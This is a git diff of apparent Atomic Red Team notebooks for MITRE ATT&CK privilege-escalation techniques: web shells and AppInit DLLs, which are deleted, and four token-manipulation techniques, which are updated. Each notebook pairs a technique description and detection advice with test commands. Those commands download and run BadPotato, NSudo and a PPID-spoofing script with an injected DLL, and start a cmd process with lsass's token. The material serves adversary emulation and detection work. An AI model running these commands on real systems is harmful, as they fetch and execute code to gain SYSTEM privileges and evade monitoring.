"display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1100.ipynb b/playbook/tactics/privilege-escalation/T1100.ipynb deleted file mode 100644 index d52f1d52..00000000 --- a/playbook/tactics/privilege-escalation/T1100.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "ef36f223", - "metadata": {}, - "source": "# T1100 - Web Shell\nA Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed." - }, - { - "cell_type": "markdown", - "id": "deb5f51f", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "54cee044", - "metadata": {}, - "source": "## Detection\nWeb shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1103.ipynb b/playbook/tactics/privilege-escalation/T1103.ipynb deleted file mode 100644 index 48c32abd..00000000 --- a/playbook/tactics/privilege-escalation/T1103.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "dcffb1b5", - "metadata": {}, - "source": "# T1103 - AppInit DLLs\nDynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)" - }, - { - "cell_type": "markdown", - "id": "ef27049c", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "a152d4cb", - "metadata": {}, - "source": "## Detection\nMonitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1134.001.ipynb b/playbook/tactics/privilege-escalation/T1134.001.ipynb index 6ba776bc..35b07596 100644 --- a/playbook/tactics/privilege-escalation/T1134.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1134.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9fa00b1c", + "id": "dca8f864", "metadata": {}, - "source": "# T1134.001 - Token Impersonation/Theft\nAdversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system." + "source": "# T1134.001 - Token Impersonation/Theft\nAdversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one." }, { "cell_type": "markdown", - "id": "12a0ca03", + "id": "709afd96", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1b6f63eb", + "id": "2db41921", "metadata": {}, "source": [ "### Atomic Test #1 - Named pipe client impersonation", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "78f82484", + "id": "bae3bec0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a94a752a", + "id": "41ac5bde", "metadata": {}, "source": [ "### Atomic Test #2 - `SeDebugPrivilege` token duplication", @@ -49,90 +49,90 @@ { "cell_type": "code", "execution_count": null, - "id": "5c210a74", + "id": "9b42c7c2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "878865bc", + "id": "0e849220", "metadata": {}, - "source": "### Atomic Test #3 - Launch NSudo Executable\nLaunches the NSudo executable for a short period of time and then exits.\nNSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: NSudo.bat must exist in the specified path #{nsudo_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\\x64\\NSudoLG.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile $env:TEMP\\NSudo_8.2_All_Components.zip \"https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip\"\nExpand-Archive -Path $env:TEMP\\NSudo_8.2_All_Components.zip -DestinationPath $env:TEMP\\NSudo_8.2_All_Components -Force\nRename-Item \"$env:TEMP\\NSudo_8.2_All_Components\\NSudo Launcher\" $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\nRemove-Item $env:TEMP\\NSudo_8.2_All_Components.zip -Recurse -ErrorAction Ignore\n\n```" + "source": "### Atomic Test #3 - Launch NSudo Executable\nLaunches the NSudo executable for a short period of time and then exits.\nNSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: NSudoLG.exe must exist in the specified path #{nsudo_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1134.001\\bin\\NSudoLG.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components.zip\" \"https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip\"\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components\" -Force\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components\\NSudo Launcher\\x64\\NSudoLG.exe\" \"PathToAtomicsFolder\\T1134.001\\bin\\NSudoLG.exe\"\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components.zip\" -Recurse -ErrorAction Ignore\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\NSudo_8.2_All_Components\" -Recurse -ErrorAction Ignore\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9ab6bb17", + "id": "9841cfd3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b7f2b2a8", + "id": "51233982", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nStart-Process $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\\x64\\NSudoLG.exe -Argument \"-U:T -P:E cmd\"\nStart-Sleep -Second 5\nStop-Process -Name \"cmd\" -force -erroraction silentlycontinue\n```" + "```powershell\nStart-Process \"PathToAtomicsFolder\\T1134.001\\bin\\NSudoLG.exe\" -Argument \"-U:T -P:E cmd\"\nStart-Sleep -Second 5\nStop-Process -Name \"cmd\" -force -erroraction silentlycontinue\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "bc6a0722", + "id": "372a1c6d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "de54ba06", + "id": "cb90521f", "metadata": {}, - "source": "### Atomic Test #4 - Bad Potato\nhttps://github.com/BeichenDream/BadPotato\nPrivilege escalation using named pipe connections\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: BadPotato.exe must exist in the temp directory\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\BadPotato.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile $env:TEMP\\BadPotato.exe \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true\"\n\n```" + "source": "### Atomic Test #4 - Bad Potato\nhttps://github.com/BeichenDream/BadPotato\nPrivilege escalation using named pipe connections\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: BadPotato.exe must exist in the temp directory\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\BadPotato.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\BadPotato.exe\" \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cf903b90", + "id": "c7028b80", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6a8e082f", + "id": "f46404c5", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncd $env:temp\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n```" + "```powershell\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d7e3e950", + "id": "84746066", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "f0dda07c", + "id": "67ac4c4b", "metadata": {}, "source": "#### Cleanup: \n```powershell\ntaskkill /f /im notepad.exe\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5541fa0b", + "id": "3743a580", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "4b0d1de0", + "id": "4a8219c1", "metadata": {}, "source": "## Detection\nIf an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators." } @@ -140,13 +140,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1134.002.ipynb b/playbook/tactics/privilege-escalation/T1134.002.ipynb index f45317e7..0178c998 100644 --- a/playbook/tactics/privilege-escalation/T1134.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1134.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d76fe9ed", + "id": "b48be853", "metadata": {}, - "source": "# T1134.002 - Create Process with Token\nAdversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003))." + "source": "# T1134.002 - Create Process with Token\nAdversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process." }, { "cell_type": "markdown", - "id": "b50a1c88", + "id": "1d785024", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6bc15ba4", + "id": "26cfa53d", "metadata": {}, "source": [ "### Atomic Test #1 - Access Token Manipulation", @@ -22,20 +22,20 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nSet-ExecutionPolicy -Scope Process Bypass -Force\n$owners = @{}\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}\nGet-Process | Select ProcessName,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}}\n$PathToAtomicsFolder\\T1134.002\\src\\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,\"cmd.exe\")\n```" + "```powershell\nSet-ExecutionPolicy -Scope Process Bypass -Force\n$owners = @{}\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}\nGet-Process | Select ProcessName,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}}\n& \"$PathToAtomicsFolder\\T1134.002\\src\\GetToken.ps1\"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,\"cmd.exe\")\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "fedd34bb", + "id": "489a567c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7210bd50", + "id": "0e940129", "metadata": {}, "source": [ "### Atomic Test #2 - WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique", @@ -48,14 +48,14 @@ { "cell_type": "code", "execution_count": null, - "id": "35971930", + "id": "d71ceb01", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "aae7c294", + "id": "04f7fac8", "metadata": {}, "source": "## Detection\nIf an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators." } @@ -63,13 +63,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1134.003.ipynb b/playbook/tactics/privilege-escalation/T1134.003.ipynb index b8fb9fdf..f3d3aa5a 100644 --- a/playbook/tactics/privilege-escalation/T1134.003.ipynb +++ b/playbook/tactics/privilege-escalation/T1134.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "103026d0", + "id": "88acac0d", "metadata": {}, - "source": "# T1134.003 - Make and Impersonate Token\nAdversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread." + "source": "# T1134.003 - Make and Impersonate Token\nAdversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one." }, { "cell_type": "markdown", - "id": "a50a2b08", + "id": "20965387", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "eb62e6ef", + "id": "32599bc2", "metadata": {}, "source": "## Detection\nIf an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1134.004.ipynb b/playbook/tactics/privilege-escalation/T1134.004.ipynb index d5d706cb..6ace190b 100644 --- a/playbook/tactics/privilege-escalation/T1134.004.ipynb +++ b/playbook/tactics/privilege-escalation/T1134.004.ipynb @@ -2,78 +2,78 @@ "cells": [ { "cell_type": "markdown", - "id": "d71b0d8c", + "id": "ce8e5e32", "metadata": {}, "source": "# T1134.004 - Parent PID Spoofing\nAdversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)" }, { "cell_type": "markdown", - "id": "e3b72d00", + "id": "507fad64", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "359aa943", + "id": "8fa1c045", "metadata": {}, - "source": "### Atomic Test #1 - Parent PID Spoofing using PowerShell\nThis test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.\nUpon execution, \"Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####\" will be displayed and\ncalc.exe will be launched.\n\nCredit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL to inject must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1134.004\\bin\\calc.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1134.004\\bin\\calc.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll\" -OutFile \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\"\n\n```\n##### Description: PPID.ps1 must exist on disk at $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1\" -OutFile $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n\n```" + "source": "### Atomic Test #1 - Parent PID Spoofing using PowerShell\nThis test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.\nUpon execution, \"Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####\" will be displayed and\ncalc.exe will be launched.\n\nCredit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL to inject must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll\" -OutFile \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\"\n\n```\n##### Description: PPID.ps1 must exist on disk at $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1\" -OutFile \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "aa84c0bf", + "id": "9b0644aa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7781ecb2", + "id": "2455468a", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n. $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n$ppid=Get-Process explorer | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"C:\\Program Files\\Internet Explorer\\iexplore.exe\" -dllpath \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\"\n```" + "```powershell\n. \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\"\n$ppid=Get-Process explorer | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"C:\\Program Files\\Internet Explorer\\iexplore.exe\" -dllpath \"PathToAtomicsFolder\\T1134.004\\bin\\calc.dll\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "615e6361", + "id": "cc0fb75d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "65af5732", + "id": "d76eaed1", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"calculator\" -ErrorAction Ignore\nStop-Process -Name \"iexplore\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fbabbba2", + "id": "ccde0958", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "3702a9d8", + "id": "5e10e2cd", "metadata": {}, "source": "### Atomic Test #2 - Parent PID Spoofing - Spawn from Current Process\nSpawns a powershell.exe process as a child of the current process.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9c2b2d52", + "id": "12e45cf7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2bb65c8a", + "id": "c67a146d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5b3b9344", + "id": "a9a449eb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 2" }, 